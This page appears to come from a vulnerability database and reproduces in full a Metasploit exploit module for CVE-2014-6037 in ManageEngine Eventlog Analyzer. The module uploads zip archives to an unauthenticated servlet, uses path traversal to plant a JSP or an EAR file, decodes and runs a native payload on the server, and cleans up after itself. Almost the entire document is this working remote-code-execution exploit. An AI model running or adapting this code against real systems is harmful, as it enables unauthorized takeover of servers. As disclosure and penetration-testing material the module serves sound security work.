Lucene search
K

ManageEngine Eventlog Analyzer Arbitrary File Upload

🗓️ 12 Sep 2014 00:00:00Reported by h0ng10Type 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 29 Views

ManageEngine Eventlog Analyzer File Upload Vulnerabilit

Related
Code
`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
include Msf::Exploit::EXE  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'ManageEngine Eventlog Analyzer Arbitrary File Upload',  
'Description' => %q{  
This module exploits a file upload vulnerability in ManageEngine Eventlog Analyzer.  
The vulnerability exists in the agentUpload servlet which accepts unauthenticated  
file uploads and handles zip file contents in a insecure way. By combining both  
weaknesses a remote attacker can achieve remote code execution. This module has been  
tested successfully on versions v7.0 - v9.9 b9002 in Windows and Linux. Versions  
between 7.0 and < 8.1 are only exploitable via EAR deployment in the JBoss server,  
while versions 8.1+ are only exploitable via a JSP upload.  
},  
'Author' =>  
[  
'h0ng10', # Vulnerability discovery  
'Pedro Ribeiro <pedrib[at]gmail.com>' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2014-6037' ],  
[ 'OSVDB', '110642' ],  
[ 'URL', 'https://www.mogwaisecurity.de/advisories/MSA-2014-01.txt' ],  
[ 'URL', 'http://seclists.org/fulldisclosure/2014/Aug/86' ]  
],  
'DefaultOptions' => { 'WfsDelay' => 5 },  
'Privileged' => false, # Privileged on Windows but not on Linux targets  
'Platform' => %w{ java linux win },  
'Targets' =>  
[  
[ 'Automatic', { } ],  
[ 'Eventlog Analyzer v7.0 - v8.0 / Java universal',  
{  
'Platform' => 'java',  
'Arch' => ARCH_JAVA,  
'WfsDelay' => 30  
}  
],  
[ 'Eventlog Analyzer v8.1 - v9.9 b9002 / Windows',  
{  
'Platform' => 'win',  
'Arch' => ARCH_X86  
}  
],  
[ 'Eventlog Analyzer v8.1 - v9.9 b9002 / Linux',  
{  
'Platform' => 'linux',  
'Arch' => ARCH_X86  
}  
]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Aug 31 2014'))  
  
register_options(  
[  
Opt::RPORT(8400),  
OptInt.new('SLEEP',  
[true, 'Seconds to sleep while we wait for EAR deployment (Java target only)', 15]),  
], self.class)  
end  
  
  
def get_version  
res = send_request_cgi({  
'uri' => normalize_uri("event/index3.do"),  
'method' => 'GET'  
})  
  
if res and res.code == 200  
if res.body =~ /ManageEngine EventLog Analyzer ([0-9]{1})/  
return $1  
end  
end  
  
return "0"  
end  
  
  
def check  
version = get_version  
if version >= "7" and version <= "9"  
# version 7 to < 8.1 detection  
res = send_request_cgi({  
'uri' => normalize_uri("event/agentUpload"),  
'method' => 'GET'  
})  
if res and res.code == 405  
return Exploit::CheckCode::Appears  
end  
  
# version 8.1+ detection  
res = send_request_cgi({  
'uri' => normalize_uri("agentUpload"),  
'method' => 'GET'  
})  
if res and res.code == 405 and version == 8  
return Exploit::CheckCode::Appears  
else  
# We can't be sure that it is vulnerable in version 9  
return Exploit::CheckCode::Detected  
end  
  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
  
def create_zip_and_upload(payload, target_path, is_payload = true)  
# Zipping with CM_STORE to avoid errors decompressing the zip  
# in the Java vulnerable application  
zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE)  
zip.add_file(target_path, payload)  
  
post_data = Rex::MIME::Message.new  
post_data.add_part(zip.pack, "application/zip", 'binary', "form-data; name=\"#{Rex::Text.rand_text_alpha(4+rand(4))}\"; filename=\"#{Rex::Text.rand_text_alpha(4+rand(4))}.zip\"")  
  
data = post_data.to_s  
  
if is_payload  
print_status("#{peer} - Uploading payload...")  
end  
res = send_request_cgi({  
'uri' => (@my_target == targets[1] ? normalize_uri("/event/agentUpload") : normalize_uri("agentUpload")),  
'method' => 'POST',  
'data' => data,  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"  
})  
  
if res and res.code == 200 and res.body.empty?  
if is_payload  
print_status("#{peer} - Payload uploaded successfully")  
end  
register_files_for_cleanup(target_path.gsub("../../", "../"))  
return true  
else  
return false  
end  
end  
  
  
def pick_target  
return target if target.name != 'Automatic'  
  
print_status("#{peer} - Determining target")  
  
version = get_version  
  
if version == "7"  
return targets[1]  
end  
  
os_finder_payload = %Q{<html><body><%out.println(System.getProperty("os.name"));%></body><html>}  
jsp_name = "#{rand_text_alphanumeric(4+rand(32-4))}.jsp"  
target_dir = "../../webapps/event/"  
if not create_zip_and_upload(os_finder_payload, target_dir + jsp_name, false)  
if version == "8"  
# Versions < 8.1 do not have a Java compiler, but can be exploited via the EAR method  
return targets[1]  
end  
return nil  
end  
  
res = send_request_cgi({  
'uri' => normalize_uri(jsp_name),  
'method' => 'GET'  
})  
  
if res and res.code == 200  
if res.body.to_s =~ /Windows/  
return targets[2]  
else  
# assuming Linux  
return targets[3]  
end  
end  
  
return nil  
end  
  
  
def generate_jsp_payload  
opts = {:arch => @my_target.arch, :platform => @my_target.platform}  
payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch)  
exe = generate_payload_exe(opts)  
base64_exe = Rex::Text.encode_base64(exe)  
  
native_payload_name = rand_text_alpha(rand(6)+3)  
ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin'  
  
var_raw = rand_text_alpha(rand(8) + 3)  
var_ostream = rand_text_alpha(rand(8) + 3)  
var_buf = rand_text_alpha(rand(8) + 3)  
var_decoder = rand_text_alpha(rand(8) + 3)  
var_tmp = rand_text_alpha(rand(8) + 3)  
var_path = rand_text_alpha(rand(8) + 3)  
var_proc2 = rand_text_alpha(rand(8) + 3)  
  
if @my_target['Platform'] == 'linux'  
var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3)  
chmod = %Q|  
Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path});  
Thread.sleep(200);  
|  
  
var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3)  
cleanup = %Q|  
Thread.sleep(200);  
Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path});  
|  
else  
chmod = ''  
cleanup = ''  
end  
  
jsp = %Q|  
<%@page import="java.io.*"%>  
<%@page import="sun.misc.BASE64Decoder"%>  
<%  
try {  
String #{var_buf} = "#{base64_exe}";  
BASE64Decoder #{var_decoder} = new BASE64Decoder();  
byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());  
  
File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}");  
String #{var_path} = #{var_tmp}.getAbsolutePath();  
  
BufferedOutputStream #{var_ostream} =  
new BufferedOutputStream(new FileOutputStream(#{var_path}));  
#{var_ostream}.write(#{var_raw});  
#{var_ostream}.close();  
#{chmod}  
Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});  
#{cleanup}  
} catch (Exception e) {  
}  
%>  
|  
  
jsp = jsp.gsub(/\n/, '')  
jsp = jsp.gsub(/\t/, '')  
jsp = jsp.gsub(/\x0d\x0a/, "")  
jsp = jsp.gsub(/\x0a/, "")  
  
return jsp  
end  
  
  
def exploit_native  
# When using auto targeting, MSF selects the Windows meterpreter as the default payload.  
# Fail if this is the case and ask the user to select an appropriate payload.  
if @my_target['Platform'] == 'linux' and payload_instance.name =~ /Windows/  
fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.")  
end  
  
jsp_name = "#{rand_text_alphanumeric(4+rand(32-4))}.jsp"  
target_dir = "../../webapps/event/"  
  
jsp_payload = generate_jsp_payload  
if not create_zip_and_upload(jsp_payload, target_dir + jsp_name)  
fail_with(Failure::Unknown, "#{peer} - Payload upload failed")  
end  
  
return jsp_name  
end  
  
  
def exploit_java  
# When using auto targeting, MSF selects the Windows meterpreter as the default payload.  
# Fail if this is the case and ask the user to select an appropriate payload.  
if @my_target['Platform'] == 'java' and not payload_instance.name =~ /Java/  
fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Java target.")  
end  
  
target_dir = "../../server/default/deploy/"  
  
# First we generate the WAR with the payload...  
war_app_base = rand_text_alphanumeric(4 + rand(32 - 4))  
war_payload = payload.encoded_war({ :app_name => war_app_base })  
  
# ... and then we create an EAR file that will contain it.  
ear_app_base = rand_text_alphanumeric(4 + rand(32 - 4))  
app_xml = %Q{<?xml version="1.0" encoding="UTF-8"?><application><display-name>#{rand_text_alphanumeric(4 + rand(32 - 4))}</display-name><module><web><web-uri>#{war_app_base + ".war"}</web-uri><context-root>/#{ear_app_base}</context-root></web></module></application>}  
  
# Zipping with CM_STORE to avoid errors while decompressing the zip  
# in the Java vulnerable application  
ear_file = Rex::Zip::Archive.new(Rex::Zip::CM_STORE)  
ear_file.add_file(war_app_base + ".war", war_payload.to_s)  
ear_file.add_file("META-INF/application.xml", app_xml)  
ear_file_name = rand_text_alphanumeric(4 + rand(32 - 4)) + ".ear"  
  
if not create_zip_and_upload(ear_file.pack, target_dir + ear_file_name)  
fail_with(Failure::Unknown, "#{peer} - Payload upload failed")  
end  
  
print_status("#{peer} - Waiting " + datastore['SLEEP'].to_s + " seconds for EAR deployment...")  
sleep(datastore['SLEEP'])  
return normalize_uri(ear_app_base, war_app_base, rand_text_alphanumeric(4 + rand(32 - 4)))  
end  
  
  
def exploit  
if datastore['SLEEP'] < 0  
print_error("The SLEEP datastore option shouldn't be negative")  
return  
end  
  
@my_target = pick_target  
if @my_target.nil?  
print_error("#{peer} - Unable to select a target, we must bail.")  
return  
else  
print_status("#{peer} - Selected target #{@my_target.name}")  
end  
  
if @my_target == targets[1]  
exploit_path = exploit_java  
else  
exploit_path = exploit_native  
end  
  
print_status("#{peer} - Executing payload...")  
send_request_cgi({  
'uri' => normalize_uri(exploit_path),  
'method' => 'GET'  
})  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation